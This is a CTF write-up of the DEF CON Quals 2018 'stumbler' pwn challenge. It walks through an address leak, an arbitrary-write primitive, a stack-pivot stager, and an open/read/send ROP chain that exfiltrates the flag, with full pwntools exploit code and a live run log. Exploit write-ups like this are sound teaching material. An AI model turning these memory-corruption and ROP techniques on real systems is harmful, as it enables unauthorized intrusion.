Defcon Quals 2018 - stumbler

Team: Samurai

Attachment: stumbler app_init app_fn_0 app_fn_1 app_fn_2 xpl.py stumblerpow.py

Joined this challenge pretty late. avery3r had already done the first part of the challenge, reversing it completely and found a way to bypass the pow on this challenge.

avery3r [12:29 PM]
POW = 8 bytes, hexlified, first two bytes of SHA512(dehex(nonce)+dehex(POW)) must be 0

example: nonce `3963c3b4b3ad1300d6c073f9f4f93779f088c1f53a14a168fbb642aec68147b5` pow `c73a000000000000`

When the service then asks you, if you want to play a game and you answer with n, it will print out some portion of the stack (from which you can leak addresses from stack and app_init).

He also figured out a way to do an arbitray read/write

  • When the service asks you, if you want to play a game, answer with y
  • It will then ask you for a number, which it will then convert to an address
  • It then prints out 8 bytes of data from this address
  • And then reads 8 bytes of data, which will get stored at this address

The catch here seemed to be, that the binary added new randomized memory regions on every round. Though the new addresses, which got created, could be guessed (avery3r also provided calculations for that), those additional regions can be ignored.

The stack won’t move, as well as the app_init section stays in place, and that’s all we needed in the end to finalize this challenge.

To start with this, we’ll first leak the values from the stack, we’re given, when we decline to play:

solve_pow()

log.info("Leak app stack")

r.recvuntil("So, uh, do you want to play a game? (Y/N) ")
r.sendline("n");

r.recvuntil("WEAK!  Take this I guess...\n")
r.recvuntil("WEAK!  Take this I guess...\n")

stack = r.recv(0x100, timeout=0.5)

STACK = u64(stack[17:17+8])    
eAPP.address = u64(stack[25:25+8]) - 0x605
[*] Pow finished...
[*] Leak app stack
[*] APPINIT                 : 0x7f8724ffb000
[*] STACK                   : 0x7ffece204d58

For writing data to the stack, we can just play the game, pass the address, we want to write to as our guess. We’ll then receive the data, that’s currently stored there and can write 8 bytes of data to it:

# Will write 8 bytes of data to the address passed as guessing number
def write_value(addr, value):
    log.info("Write to %s : %s" % (hex(addr), hex(value)))

    r.recvuntil("So, uh, do you want to play a game? (Y/N) ", timeout=1)
    r.sendline("y")
    r.recvuntil("COOL!  Guess a number: ")
    r.sendline(hex(addr)[2:])
    r.recvuntil("CORRECT!  OK, HERE WE GO!\n")
    r.recv(8)

    r.send(p64(value))

Since we know the stack address, we could use this to overwrite the return address of the guessing function giving us a free call. Fiddled around with the different stumbler app functions to find out, if there would be some kind of win function, which might give us a proper read or even a shell, but didn’t find a way to exploit this one with one single call.

So I opted for doing a ropchain instead. But we only have a limited amount of guesses. After writing 4 addresses, the binary closed, so it would be hard to do a proper ropchain with that.

Thus, I used 3 writes to prepare a stager ropchain on the stack, which would read my final ropchain. And with the 4th write, I put a stack pivot gadget into the return address of the guessing function, so it would pivot to my stager ropchain, waiting on the stack to get executed.

app_init has a function recv_all which will read x bytes from the given socket descriptor:

void recv_all(int fd, char *buffer, int size)
{
  int read_bytes = 0;

  for ( i = 0LL; i < size; i += read_bytes)  
    read_bytes = recv(fd, buffer+i, size-i, 0);      
}

We can use this function to receive additional data and abuse the fact that rdi will already contain our socket descriptor from the previous reads and rsi will also already point to a buffer on the stack.

Only problem that arises here, is that rdx will still contain 8, since the service always only reads 8 bytes from us. Not enough for a proper ropchain, but with 3 writes, we can create a small ropchain, that will fix that for us.

log.info("Create stager ropchain (will read complete ropchain)")

POPRAX = eAPP.address + 0x23b
POPRDX = eAPP.address + 0xc20
POPRDI = eAPP.address + 0x7fe
POPRSIR15 = eAPP.address + 0x7fc
SYSCALL = eAPP.address + 0x1033
ADDRSP160 = eAPP.address + 0xab0

# recv_all(fd, buffer, 0x1000)
write_value(STACK-0xa0+0x160, POPRDX)
write_value(STACK-0xa0+0x168, 0x1000)
write_value(STACK-0xa0+0x170, eAPP.symbols["recv_all"])
write_value(STACK-0xa0, ADDRSP160)                          # stack pivot

So, this prepares our ropchain on the stack, which will set rdx to 0x1000 and then stack pivot into it, resulting in another read of 0x1000 bytes onto the stack. Neat, this should make things much easier, not having to fiddle around with the guessing game anymore.

From here, it’s just a matter of open("flag"), read from it and send_all it back to us :)

log.info("Create final ropchain (open/read/write)")

payload = "A"*296

# open("./flag", 0, 0)
payload += p64(POPRAX)
payload += p64(2)
payload += p64(POPRDI)
payload += p64(STACK+0x160)
payload += p64(POPRSIR15)
payload += p64(0)
payload += p64(0)
payload += p64(POPRDX)
payload += p64(0)
payload += p64(SYSCALL)

# read(11, rsp+0x160, 100)
payload += p64(POPRAX)
payload += p64(0)
payload += p64(POPRDI)
payload += p64(11)
payload += p64(POPRSIR15)
payload += p64(STACK+0x160)
payload += p64(0)
payload += p64(POPRDX)
payload += p64(100)
payload += p64(SYSCALL)

# write(6, rsp+0x160, 100)
payload += p64(POPRDI)
payload += p64(6)
payload += p64(POPRSIR15)
payload += p64(STACK+0x160)
payload += p64(0)
payload += p64(eAPP.symbols["send_all"])
payload += p64(eAPP.symbols["recv_all"])
payload += "./flag\x00"

r.sendline(payload)

r.interactive()

Since stumbler already has 10 open file descriptors, we know that the flag fd will be 11 after the open. So we just read 100 bytes (more than enough for a flag) from it and use the send_all method from app_init to send it back to us.

[*] '/home/kileak/stumbler/app_init'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to f5a0cee8.quals2018.oooverflow.io on port 9993: Done
[*] Solving pow...
ad818c6caeacc8fb09f0297595a4fa7352cb3a0330dbe945a4a58c94f1befe0d
[+] Starting local process '/usr/bin/python': pid 2767
[*] Stopped process '/usr/bin/python' (pid 2767)
[*] Pow finished...
[*] Leak app stack
[*] APPINIT                 : 0x7f4f9c3ae000
[*] STACK                   : 0x7ffe3d5be1e8
[*] Create stager ropchain
[*] Write to 0x7ffe3d5be2a8 : 0x7f4f9c3aec20
[*] Write to 0x7ffe3d5be2b0 : 0x1000
[*] Write to 0x7ffe3d5be2b8 : 0x7f4f9c3ae834
[*] Write to 0x7ffe3d5be148 : 0x7f4f9c3aeab0
[*] Create final ropchain (open/read/write)
[*] Switching to interactive mode
OOO{n1c3_y0u_c4n_h17_wh47_y0u_c4n7_533!!!0n3}